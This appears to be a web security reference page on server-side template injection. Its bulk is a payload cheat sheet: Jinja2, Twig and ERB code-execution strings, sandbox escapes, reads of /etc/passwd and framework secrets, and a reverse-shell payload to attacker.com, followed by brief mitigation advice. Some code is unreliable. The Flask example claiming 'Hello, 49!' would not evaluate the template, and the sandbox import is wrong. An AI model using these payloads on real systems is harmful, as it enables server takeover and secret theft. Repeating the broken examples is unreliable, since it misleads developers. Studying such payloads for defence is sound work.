Critical Severity | OWASP A03:2021
๐ด Server-Side Template Injection (SSTI)
๐ง Description
What is SSTI?
Server-Side Template Injection (SSTI) occurs when an attacker injects malicious template directives into server-side template engines. Unlike XSS which targets the client, SSTI allows attackers to execute code on the server, leading to Remote Code Execution (RCE).
SSTI allows attackers to:
- Execute arbitrary code on the server
- Read sensitive files
- Escape sandbox environments
- Gain complete server access
- Pivot to internal network
Affected Templates: Jinja2, Twig, FreeMarker, Velocity, Smarty, Blade, ERB, Mustache
๐ท๏ธ Classification
- Type: Server-Side Template Injection (CWE-1336)
- OWASP: A03:2021 - Injection
- Template Engines: Jinja2 (Python), Twig (PHP), ERB (Ruby), Blade (Laravel), etc.
๐ฏ Attack Surface
- โ User input used in template rendering
- โ Email templates with user data
- โ Markdown/HTML renderers
- โ Search result highlighting
- โ Document generation
- โ Profile fields rendered server-side
โ ๏ธ Preconditions
- Application uses a template engine
- User input is directly concatenated into template
- No sandboxing or sandbox escape possible
๐ Detection
Basic Payloads:
- {{7*7}} - Jinja2/Twig
- ${7*7} - FreeMarker
- <%= 7*7 %> - ERB
- {{1+1}} - Angular
Tool: Tplmap - Automatic SSTI exploitation
๐ง Burp Suite Workflow
- Identify template-rendered output
- Inject test payload: {{7*7}}
- Check if output shows 49
- Identify template engine
- Escalate to RCE
โ๏ธ Tool Automation
๐ซ Tplmap
Automatic SSTI exploitation
๐ก๏ธ Burp Suite
Manual testing
โก nuclei
SSTI templates
# Tplmap python tplmap.py -u "http://target.com/template?engine=jinja2&inj=0&tpl=* # nuclei nuclei -u "http://target.com" -t templates/ssti.yaml
๐ฃ Basic Payloads
๐งช Detection - Jinja2
{{7*7}}
{{config}}
{{request}}
๐งช Detection - Twig
{{7*7}}
{{self}}
{{_self}}
๐งช Detection - ERB
<%= 7*7 %>
<%= system("id") %>
<%= `ls` %>
๐ Advanced Payloads
๐ฅ Jinja2 RCE
{{__import__('os').popen('id').read()}}
{{request.application.__globals__.__builtins__.__import__('os').popen('id').read()}}
{% for x in ().__import__('os').popen('id').read() %}a{% endfor %}
๐ฅ Twig RCE
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.getFilter("id")()}}
{{["id"]|map("system")|join}}
๐ฅ ERB RCE
<%= system("whoami") %>
<%= `ls` %>
<%= File.read('/etc/passwd') %>
๐ค AI-Generated Payloads
๐ง Sandbox Escape
Jinja2: {{cycler.__init__.__globals__.os.popen('id').read()}}
Twig: {{source(_self.env.getTemplate('base').template_source)|default('test')}}
๐จ Context-Aware Payloads
๐ Context-Specific
Django: {{settings.SECRET_KEY}}
Flask: {{url_for.__globals__}}
Laravel: {{App::make('config')->get('database.connections.mysql.password')}}
๐ Proof of Concept
# Vulnerable code (Python/Flask/Jinja2)
@app.route("/hello")
def hello():
name = request.args.get('name', 'World')
return f"Hello, {name}!"
# Payload: {{7*7}}
# URL: /hello?name={{7*7}}
# Result: Hello, 49!
๐จ Request / Response
GET /greet?name={{__import__('os').popen('id').read()}} HTTP/1.1
Host: target.com
HTTP/1.1 200 OK
uid=1000(user) gid=1000(user) groups=1000(user)
๐ฅ Impact Analysis
Severity: CRITICAL (CVSS 9.8)
- Remote Code Execution
- Full server compromise
- Data exfiltration
- Internal network access
โก Advanced Exploitation
File Read via SSTI:
# Jinja2
{{ ''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read() }}
Reverse Shell:
{{__import__('os').popen('bash -i >& /dev/tcp/attacker.com/4444 0>&1').read()}}
๐ Attack Chains
Chain: SSTI to Server Compromise
- Find template-rendered parameter
- Inject {{7*7}} to confirm SSTI
- Identify engine (Jinja2/Twig)
- RCE via __import__ or system
- Escalate to full server access
โ Test Cases
| ID | Test | Payload | Expected |
|---|---|---|---|
| 1 | Jinja2 Detect | {{7*7}} | 49 |
| 2 | Jinja2 RCE | {{__import__('os').popen('id').read()}} | uid output |
| 3 | Twig RCE | {{_self.getFilter('id')()}} | uid output |
๐ก๏ธ Mitigation
โ
Never allow user input in templates
โ Use safe API: pass variables to template, don't concatenate
โ Sandbox mode: Enable template engine sandboxing
โ Disable dangerous functions: Remove system/exec access
โ Use safe API: pass variables to template, don't concatenate
โ Sandbox mode: Enable template engine sandboxing
โ Disable dangerous functions: Remove system/exec access
๐ฐ Advanced Mitigation
# Jinja2 - Sandboxed Environment from jinja2 import Environment, SandboxedEnvironment env = SandboxedEnvironment() template = env.from_string(user_input)
๐ Monitoring & Detection
- Alert on template syntax in logs
- Monitor for __import__, system, exec
- Alert on unusual template engine usage
๐ Security Controls
| Control | Implementation |
|---|---|
| Input Sanitization | Never use user input in templates |
| Sandboxing | Use SandboxedEnvironment |
| Whitelist | Only allow safe template functions |
๐ Bypass Techniques
Use globals: {{x.__class__.__bases__[0].__subclasses__()}}
Use cycler: {{cycler.__init__.__globals__}}
Use joiner: {{joiner.__init__.__globals__}}
๐ ๏ธ Tools & Commands
Tplmap
python tplmap.py -u "URL"
Burp
Intruder + manual testing
๐ References
๐ Retest Steps
| Step | Action |
|---|---|
| 1 | Remove user input from template |
| 2 | Re-test with {{7*7}} |
| 3 | Enable sandbox |
| 4 | Test RCE payload |
โ๏ธ Detection Logic
- Static: Check for user input in template rendering
- Dynamic: Test with {{7*7}} and other payloads
๐ Threat-Hunting Notes
IOCs: {{, <%=, ${ in logs, unusual template function calls
๐ก๏ธ Defensive Detection Ideas
Deploy WAF with SSTI rules, implement proper input validation, use template sandboxing.